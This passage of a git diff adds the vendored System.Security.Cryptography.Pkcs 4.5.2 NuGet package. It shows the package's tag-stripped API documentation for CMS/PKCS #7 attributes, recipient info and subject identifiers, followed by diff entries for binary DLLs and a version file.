encoded data as the attribute value. + The string representation of an OID that represents the PKCS #9 attribute type. + An array of byte values that contains the PKCS #9 attribute value. + + + Copies a PKCS #9 attribute type and value for this from the specified object. + An object that contains the PKCS #9 attribute type and value to use. + asnEncodeData does not represent a compatible attribute type. + asnEncodedData is null. + + + Gets an object that represents the type of attribute associated with this object. + An object that represents the type of attribute associated with this object. + + + The class defines the type of the content of a CMS/PKCS #7 message. + + + The constructor creates an instance of the class. + + + The property gets an object that contains the content type. + An object that contains the content type. + + + Copies information from an object. + The object from which to copy information. + + + The class defines the description of the content of a CMS/PKCS #7 message. + + + The constructor creates an instance of the class. + + + The constructor creates an instance of the class by using the specified array of byte values as the encoded description of the content of a CMS/PKCS #7 message. + An array of byte values that specifies the encoded description of the CMS/PKCS #7 message. + + + The constructor creates an instance of the class by using the specified description of the content of a CMS/PKCS #7 message. + An instance of the class that specifies the description for the CMS/PKCS #7 message. + + + Copies information from an object. + The object from which to copy information. + + + The property retrieves the document description. + A object that contains the document description. + + + The class defines the name of a CMS/PKCS #7 message. + + + The constructor creates an instance of the class. + + + The constructor creates an instance of the class by using the specified array of byte values as the encoded name of the content of a CMS/PKCS #7 message. + An array of byte values that specifies the encoded name of the CMS/PKCS #7 message. + + + The constructor creates an instance of the class by using the specified name for the CMS/PKCS #7 message. + A object that specifies the name for the CMS/PKCS #7 message. + + + Copies information from an object. + The object from which to copy information. + + + The property retrieves the document name. + A object that contains the document name. + + + The class defines the message digest of a CMS/PKCS #7 message. + + + The constructor creates an instance of the class. + + + Copies information from an object. + The object from which to copy information. + + + The property retrieves the message digest. + An array of byte values that contains the message digest. + + + The class defines the signing date and time of a signature. A object can be used as an authenticated attribute of a object when an authenticated date and time are to accompany a digital signature. + + + The constructor creates an instance of the class. + + + The constructor creates an instance of the class by using the specified array of byte values as the encoded signing date and time of the content of a CMS/PKCS #7 message. + An array of byte values that specifies the encoded signing date and time of the CMS/PKCS #7 message. + + + The constructor creates an instance of the class by using the specified signing date and time. + A structure that represents the signing date and time of the signature. + + + Copies information from a object. + The object from which to copy information. + + + The property retrieves a structure that represents the date and time that the message was signed. + A structure that contains the date and time the document was signed. + + + The class represents information associated with a public key. + + + The property retrieves the algorithm identifier associated with the public key. + An object that represents the algorithm. + + + The property retrieves the value of the encoded public component of the public key pair. + An array of byte values that represents the encoded public component of the public key pair. + + + The class represents information about a CMS/PKCS #7 message recipient. The class is an abstract class inherited by the and classes. + + + The abstract property retrieves the encrypted recipient keying material. + An array of byte values that contain the encrypted recipient keying material. + + + The abstract property retrieves the algorithm used to perform the key establishment. + An object that contains the value of the algorithm used to establish the key between the originator and recipient of the CMS/PKCS #7 message. + + + The abstract property retrieves the identifier of the recipient. + A object that contains the identifier of the recipient. + + + The property retrieves the type of the recipient. The type of the recipient determines which of two major protocols is used to establish a key between the originator and the recipient of a CMS/PKCS #7 message. + A value of the enumeration that defines the type of the recipient. + + + The abstract property retrieves the version of the recipient information. Derived classes automatically set this property for their objects, and the value indicates whether it is using PKCS #7 or Cryptographic Message Syntax (CMS) to protect messages. The version also implies whether the object establishes a cryptographic key by a key agreement algorithm or a key transport algorithm. + An value that represents the version of the object. + + + The class represents a collection of objects. implements the interface. + + + The method copies the collection to an array. + An object to which the collection is to be copied. + The zero-based index in array where the collection is copied. + One of the arguments provided to a method was not valid. + A null reference was passed to a method that does not accept it as a valid argument. + The value of an argument was outside the allowable range of values as defined by the called method. + + + The method copies the collection to a array. + An array of objects where the collection is to be copied. + The zero-based index in array where the collection is copied. + One of the arguments provided to a method was not valid. + A null reference was passed to a method that does not accept it as a valid argument. + The value of an argument was outside the allowable range of values as defined by the called method. + + + The property retrieves the number of items in the collection. + An int value that represents the number of items in the collection. + + + The method returns a object for the collection. + A object that can be used to enumerate the collection. + + + The property retrieves the object at the specified index in the collection. + An int value that represents the index in the collection. The index is zero based. + A object at the specified index. + The value of an argument was outside the allowable range of values as defined by the called method. + + + + + + + + + The method returns a object for the collection. + A object that can be used to enumerate the collection. + + + The class provides enumeration functionality for the collection. implements the interface. + + + The property retrieves the current object from the collection. + A object that represents the current recipient information structure in the collection. + + + The method advances the enumeration to the next object in the collection. + This method returns a bool that specifies whether the enumeration successfully advanced. If the enumeration successfully moved to the next object, the method returns true. If the enumeration moved past the last item in the enumeration, it returns false. + + + The method resets the enumeration to the first object in the collection. + + + The property retrieves the current object from the collection. + A object that represents the current recipient information structure in the collection. + + + The enumeration defines the types of recipient information. + + + Key agreement recipient information. + + + + Key transport recipient information. + + + + The recipient information type is unknown. + + + + The class defines the type of the identifier of a subject, such as a or a . The subject can be identified by the certificate issuer and serial number or the subject key. + + + The property retrieves the type of subject identifier. The subject can be identified by the certificate issuer and serial number or the subject key. + A member of the enumeration that identifies the type of subject. + + + The property retrieves the value of the subject identifier. Use the property to determine the type of subject identifier, and use the property to retrieve the corresponding value. + An object that represents the value of the subject identifier. This can be one of the following objects as determined by the property. + property + + Object + + IssuerAndSerialNumber + + SubjectKeyIdentifier + + + + + The class defines the type of the identifier of a subject, such as a or a . The subject can be identified by the certificate issuer and serial number, the hash of the subject key, or the subject key. + + + The property retrieves the type of subject identifier or key. The subject can be identified by the certificate issuer and serial number, the hash of the subject key, or the subject key. + A member of the enumeration that specifies the type of subject identifier. + + + The property retrieves the value of the subject identifier or key. Use the property to determine the type of subject identifier or key, and use the property to retrieve the corresponding value. + An object that represents the value of the subject identifier or key. This can be one of the following objects as determined by the property. + property + + Object + + IssuerAndSerialNumber + + SubjectKeyIdentifier + + PublicKeyInfo + + + + + The enumeration defines how a subject is identified. + + + The subject is identified by the certificate issuer and serial number. + + + + The subject is identified by the public key. + + + + The subject is identified by the hash of the subject key. + + + + The type is unknown. + + + + The enumeration defines the type of subject identifier. + + + The subject is identified by the certificate issuer and serial number. + + + + The subject is identified as taking part in an integrity check operation that uses only a hashing algorithm. + + + + The subject is identified by the hash of the subject&#39;s public key. The hash algorithm used is determined by the signature algorithm suite in the subject&#39;s certificate. + + + + The type of subject identifier is unknown. + + + + Represents the &lt;X509IssuerSerial&gt; element of an XML digital signature. + + + Gets or sets an X.509 certificate issuer&#39;s distinguished name. + An X.509 certificate issuer&#39;s distinguished name. + + + Gets or sets an X.509 certificate issuer&#39;s serial number. + An X.509 certificate issuer&#39;s serial number. + + + \ No newline at end of file diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/runtimes/win/lib/net46/System.Security.Cryptography.Pkcs.dll b/packages/System.Security.Cryptography.Pkcs.4.5.2/runtimes/win/lib/net46/System.Security.Cryptography.Pkcs.dll new file mode 100644 index 0000000..89869fc Binary files /dev/null and b/packages/System.Security.Cryptography.Pkcs.4.5.2/runtimes/win/lib/net46/System.Security.Cryptography.Pkcs.dll differ diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/runtimes/win/lib/net461/System.Security.Cryptography.Pkcs.dll b/packages/System.Security.Cryptography.Pkcs.4.5.2/runtimes/win/lib/net461/System.Security.Cryptography.Pkcs.dll new file mode 100644 index 0000000..e69a31a Binary files /dev/null and b/packages/System.Security.Cryptography.Pkcs.4.5.2/runtimes/win/lib/net461/System.Security.Cryptography.Pkcs.dll differ diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/runtimes/win/lib/netcoreapp2.1/System.Security.Cryptography.Pkcs.dll b/packages/System.Security.Cryptography.Pkcs.4.5.2/runtimes/win/lib/netcoreapp2.1/System.Security.Cryptography.Pkcs.dll new file mode 100644 index 0000000..33b19fb Binary files /dev/null and b/packages/System.Security.Cryptography.Pkcs.4.5.2/runtimes/win/lib/netcoreapp2.1/System.Security.Cryptography.Pkcs.dll differ diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/runtimes/win/lib/netstandard1.3/System.Security.Cryptography.Pkcs.dll b/packages/System.Security.Cryptography.Pkcs.4.5.2/runtimes/win/lib/netstandard1.3/System.Security.Cryptography.Pkcs.dll new file mode 100644 index 0000000..64f8c1e Binary files /dev/null and b/packages/System.Security.Cryptography.Pkcs.4.5.2/runtimes/win/lib/netstandard1.3/System.Security.Cryptography.Pkcs.dll differ diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/runtimes/win/lib/netstandard2.0/System.Security.Cryptography.Pkcs.dll b/packages/System.Security.Cryptography.Pkcs.4.5.2/runtimes/win/lib/netstandard2.0/System.Security.Cryptography.Pkcs.dll new file mode 100644 index 0000000..e82bb97 Binary files /dev/null and b/packages/System.Security.Cryptography.Pkcs.4.5.2/runtimes/win/lib/netstandard2.0/System.Security.Cryptography.Pkcs.dll differ diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/useSharedDesignerContext.txt b/packages/System.Security.Cryptography.Pkcs.4.5.2/useSharedDesignerContext.txt new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/version.txt b/packages/System.Security.Cryptography.Pkcs.4.5.2/version.txt new file mode 100644 index 0000000..16d4c56 --- /dev/null +++ b/packages/System.Security.Cryptography.Pkcs.4.5.2/version.txt @@ -0,0 +1 @@ +99ce22c306b07f99ddae60f443d23a983ae78f7b